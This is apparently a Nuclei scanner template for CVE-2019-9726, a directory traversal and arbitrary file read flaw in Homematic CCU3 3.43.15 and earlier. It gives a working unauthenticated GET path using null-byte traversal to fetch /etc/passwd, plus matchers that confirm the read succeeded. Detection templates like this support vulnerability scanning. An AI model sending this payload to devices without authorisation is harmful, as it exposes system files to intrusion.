id: CVE-2019-9726

info:
  name: Homematic CCU3 - Directory Traversal / Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: Directory Traversal / Arbitrary File Read in eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.
  reference:
    - https://atomic111.github.io/article/homematic-ccu3-fileread
    - https://www.cvedetails.com/cve/CVE-2019-9726
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9726
    cwe-id: CWE-22
  tags: cve,cve2019,homematic,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/.%00./.%00./etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "bin:.*:0:0:"
        condition: or

      - type: status
        status:
          - 200